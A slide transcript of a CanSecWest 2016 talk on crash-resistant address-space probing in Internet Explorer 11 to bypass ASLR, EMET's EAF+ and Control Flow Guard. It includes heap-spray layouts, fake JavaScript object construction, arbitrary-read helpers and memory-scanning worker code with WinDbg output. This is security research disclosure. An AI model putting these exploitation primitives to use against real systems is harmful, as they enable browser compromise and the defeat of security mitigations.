csw2016 gawlik bypassing_differentdefenseschemes

84
Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany Robert Gawlik

Upload: cansecwest

Post on 11-Apr-2017

1.210 views

Category:

Internet


0 download

TRANSCRIPT

Page 1: Csw2016 gawlik bypassing_differentdefenseschemes

Bypassing Different Defense Schemes viaCrash-Resistant Probing of Address Space

Ruhr University BochumHorst Görtz Institute for IT-Security

Bochum, Germany

Robert Gawlik

Page 2: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

About me

• Playing with InfoSec since 2010

• Currently in academia at Systems Security Group @ Horst Görtz Institute / Ruhr University Bochum

• Focusing on binary analysis / attacks / defenses / static and dynamic analysis

• Little time for bug hunting and exploiting

• Fun fact: Recently discovered favorite toy: DynamoRIO

Page 3: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Agenda

• Crash-Resistance

• Crash-Resistance in IE 32-bit (CVE 2015-6161)

• Memory Scanning : Bypass ASLR

• Export Resolving : Bypass EMET's EAF+

• Function Chaining : Bypass Control Flow Guard & EMET's UNC library path restriction

• Crash-Tolerant Function Dispatching : Fun !

• Mitigations/Fixes

Page 4: Csw2016 gawlik bypassing_differentdefenseschemes

Crash-Resistance

Page 5: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

Page 6: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

• Set timer callback crash()

Page 7: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

• Set timer callback crash()

• Dispatch crash() each ms

Page 8: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

• Set timer callback crash()

• Dispatch crash() each ms

• crash() generates a fault on first execution

Page 9: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Program should terminate abnormally

Crash-Resistance

• Set timer callback crash()

• Dispatch crash() each ms

• crash() generates a fault on first execution

Page 10: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance

Page 11: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Instead:Program runs endlessly

Crash-Resistance

• Set timer callback crash()

• Dispatch crash() each ms

• crash() generates a fault on first execution

Page 12: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

• Set timer callback crash()

• Dispatch crash() each ms

• crash() generates a fault on first execution

Page 13: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance

0:000:x86> g

(370.e4): Access violation - code c0000005 (first chance)

crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??

0:000:x86> gn

(370.e4): Access violation - code c0000005 (first chance)

crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??

0:000:x86> !exchain

[...]0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895

Page 14: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance

0:000:x86> g

(370.e4): Access violation - code c0000005 (first chance)

crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=??

0:000:x86> gn

(370.e4): Access violation - code c0000005 (first chance)

crash_resistance!crash+0x2d:009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=??

0:000:x86> !exchain

[...]0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895

pass exception unhandled

Page 15: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

DispatchMessage: __try { crash() } __except(filter) { } return

Crash-Resistance

execute handler

continue execution

access violation

filter returns 1

Behind the Scenes (Simplified)

Page 16: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

DispatchMessage: __try { crash() } __except(filter) { } return

Crash-Resistance

Behind the Scenes (Simplified)

Page 17: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

If a fault is generated,execution is

transferred to the end of the loop

Program continues running despite producing faults

Behind the Scenes (Simplified)

Page 18: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

char* addr = 0;

void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done");}

int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); }}

Crash-Resistance

If a fault is generated,execution is

transferred to the end of the loop

Program continues running despite producing faults

Behind the Scenes (Simplified)

Page 19: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance

DEMO 1

Page 20: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance

• Similar issues:

- ”Why it's not crashing ?” [1]

- ANI Vulnerability (CVE 2007-0038) [2]

- ”Escaping VMware Workstation through COM1” (JPEG2000 parsing) [3]

- ”The Art of Leaks” (exploit reliability) [4]

Page 21: Csw2016 gawlik bypassing_differentdefenseschemes

Crash-Resistancein Internet Explorer 11

Page 22: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistance in IE 11

• Start worker• Launch timed callback() with setInterval() • callback() function may produce access violations without forcing IE into termination

(b): if callback() produces no fault, it is executed completely and then started anew

(a): if an AV is triggered in callback(), then callback() stops running and is executed anew

JS callback() set with setInterval() or setTimeout() in web worker is crash-resistant:

→ usable as side channel

Page 23: Csw2016 gawlik bypassing_differentdefenseschemes

Crashless Memory Scanningin Internet Explorer 11

Page 24: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

• Spray the heap

• Use vulnerabilty to change a byte → Create a type confusion and craft fake JS objects

• Utilize fake objects in web worker with setInterval() to scan memory in a crash-resistant way → Discover Thread Environment Block (TEB) → Discover DLL Base Addresses

• Don't control EIP yet – instead: use only JS

The Plan:

→ bypass ASLR

Page 25: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

• Alternate between Object Arrays and Integer Arrays

• Object Arrays become aligned to 0xYYYY0000

• Integer Arrays become aligned to +f000 +f400 +f800 +fc00

→ Object Array: ObjArr[0] = new String() // saved as reference; bit 0 never set ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1

→ Integer Array: IntArr[0] = 4 // saved as 4

Page 26: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

Page 27: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

header space

Page 28: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

first element

Page 29: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010

Page 30: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010

Why this odd index ? (0x100 – 0x10 + 4) / 4 IntArr is aligned to 0x1011f000 – 0x10: occupied header space + 0x100: offset to 0x1011f100 + 0x4: element offset / 0x4: element size

→ We can expect the element to reside at 0x1011f104

Page 31: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010

IntArr is aligned to 0x1011f000 : first element resides at 0x1011f010 0x10 bytes are taken as header space

Page 32: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L21011f100 800000021011f104 1011f010 00000000

0:036> dd 10110000 L0x0c10110000 00000000 0000eff0 00000000 0000000010110010 00000000 000000fc 00003bf8 0000000010110020 1011f101 100ff1b0 80000002 80000002

0:036> dds 100ff1b0 L1100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000IntArr[(0x100 - 0x10) / 4] = 0x1011f010

Almost!

We need to change 01 to 00:

→ IE will interpret ObjArr[0] as object reference and not as number.

→ Additionally, we control IntArr: We could set all fields of the object referenced by ObjArr[0]

Page 33: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Trigger a vulnerability to change a byte

• Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10):

inc [eax+0x10] → eax is attacker controlled → possible to change an arbitrary byte and continue execution in JavaScript

OR

• Single NULL byte write to attacker chosen address

→ create a type confusion (0x1011f101 becomes 1011f100) => ObjArr[0] is interpreted as object

Page 34: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

jscript9!Js::LiteralString looks like :

typedef struct LiteralString_{ /*0x0*/ VOID* vtable_ptr; /*0x4*/ VOID* type_ptr; // points to type object /*0x8*/ UINT len; /*0xc*/ WCHAR* buf; // string content } LiteralString;

offset = (0x100 – 0x10) / 4IntArr[0] = 00000007 // type @ 0x1011f010IntArr[offset] = 0x41414141 // bogus vtableIntArr[offset + 0x4] = 0x1011f010 // points to typeIntArr[offset + 0x8] = 0x2 // lengthIntArr[offset + 0xc] = 0x400000 // address of content

Page 35: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

fakeString = ObjArr[0] // get object element located at 0x1011f100leak = escape(fakeString) // leak 0x4 bytes from 0x400000

→ we have set 0x41414141 as vtable ptr, but escape() still works→ fakeString.substring() does not work → vtable lookup → AV

• We can now leak already all the things!

function leak(addr){ intArr[offset + 0xc] = addr return to_dword(unescape(escape(ObjArr[0])))}

Page 36: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

• Example: leak vtable ptr and type ptr to sanitize fakeString

ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024)str_addr = leak(0x10110024) str_vtable_ptr = leak(str_addr)str_type_ptr = leak(str_addr + 4)IntArr[offset] = str_vtable_ptr // give fakeString a real vptr!IntArr[offset + 4] = str_type_ptr // real type ptr!

→ fakeString.substring() should work now :)

• We can build arbitrary JS objects if we know their structure

• We don't have a write-what-where interface yet→ Build your own Uint32Array() to RW complete memory

Page 37: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

• Exercise: Build your own Uint32Array()• Inaccurate hint:

typedef struct Uint32Array_{ /*0x00*/ VOID* vtable_ptr; /*0x04*/ VOID* type_ptr; /*0x08*/ INT NULL; /*0x0c*/ INT NULL; /*0x10*/ VOID* arrayBufferObjectPtr; // can be unset /*0x14*/ INT elemSize; // 4 /*0x18*/ INT arrayBufferOffset; /*0x1c*/ INT nrElements; // 0x7fffffff/4 /*0x20*/ VOID* bufferPtr; // set to 0 /*0x24*/ INT NULL; /*0x28*/ INT NULL; /*0x2c*/ INT NULL; } Uint32Array;

Page 38: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Where are we now?

We have fake String and Typed Array objects usable to read and write the address space

→ arbitrary information leak→ arbitrary memory write

→ Use fake objects for crash-resistant scanning

Page 39: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block0:020> !tebTEB at 7f156000

0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000

0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB

TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?

Page 40: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block0:020> !tebTEB at 7f156000

0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000

0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB

TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?

Heuristic yields TEB if we read at the right place

→ Afterwards, PEB can be resolved

Normally we cannot leak the TEB as no references exist to it

Page 41: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block

/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}

Page 42: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block

/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

Page 43: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block

/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• set address to probe

Page 44: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block

/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• set address to probe

→ leak() creates implicit flow:

if addr != mapped: return

Page 45: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread Environment Block

/* worker. js */self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• set address to probe

→ leak() creates implicit flow:

if addr != mapped: return

→ use heuristic to discover TEB and leak PEB + LdrData

Page 46: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover a Thread-Environment Block

Page 47: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

Page 48: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

Page 49: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• address to probe (64K alignment)

Page 50: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• address to probe (64K alignment)

• get leak or return

Page 51: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• address to probe (64K alignment)

• get leak or return

→ if leak() succeeds check for MZ and PE header (isPE())

Page 52: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

• Discover module base addresses directly

/* worker. js */self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0)}

function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ }}

• scan() runs crash-resistant

• address to probe (64K alignment)

• get leak or return

→ if leak() succeeds check for MZ and PE header (isPE())

→ leak more memory: – name of module – size of module

Page 53: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Memory Scanning

DEMO 2

Page 54: Csw2016 gawlik bypassing_differentdefenseschemes

Resolve Exports under EMET

Page 55: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

Page 56: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• EAF: Forbit accesses to Export Address Table based on calling code (shellcode)

• EAF+: Block read accesses to Export Address Table originating from certain modules

→ EMET's max. security setting for IE (blacklist): mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll

EMET5.5

→ can we abuse reads originating fromnon-blacklisted modules using only JS

(no control-flow hijacking)?

Page 57: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

- Worked with large strings but in recent tests it stopped working (fixed?)

EMET5.5

Page 58: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

- Worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?)

EMET5.5

?!

Page 59: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

- worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?)

EMET5.5

There is something better:Use the Blob!

Page 60: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ Create a Blob of the fakeString object

blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)

EMET5.5

0:024> kp n # ChildEBP RetAddr00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x2101 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf402 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x26903 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x31704 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c905 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61

Page 61: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ Create a Blob of the fakeString object

blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)

EMET5.5

0:024> kp n # ChildEBP RetAddr00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x2101 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf402 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x26903 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x31704 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c905 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61

Not blacklisted by EAF+

Page 62: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

• Yes we can!

→ Let fakeString point to module base and set module size

→ Create a Blob of the fakeString object → Use XMLHttpRequest to retrieve a string copy of the module

→ Resolve exports within the string copy: PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2))

p_exp = PE + 0x18 + 0x60

ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2) ...

EMET5.5

Page 63: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Export Resolving

DEMO 3

Page 64: Csw2016 gawlik bypassing_differentdefenseschemes

Function Chaining

Page 65: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• CFG protects indirect calls

• Exported functions are allowed, but not all

• Control Flow Hijacking: trigger virtual function call with a method of fakeString:

IntArr[offset] = fakeVtable // bogus vtable ptrfakeString = ObjArr[0]fakeString.whatever()

→ push fakeString // Arg1: controlled content mov eax, [fakeString] // get vtable ptr call [eax + x] // controlled target

Page 66: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Idea:

(1) Collect export functions which have indirect calls(2) Check if indirect call target is a field of first argument(3) Check if parameters for indirect call target are influenced by arguments

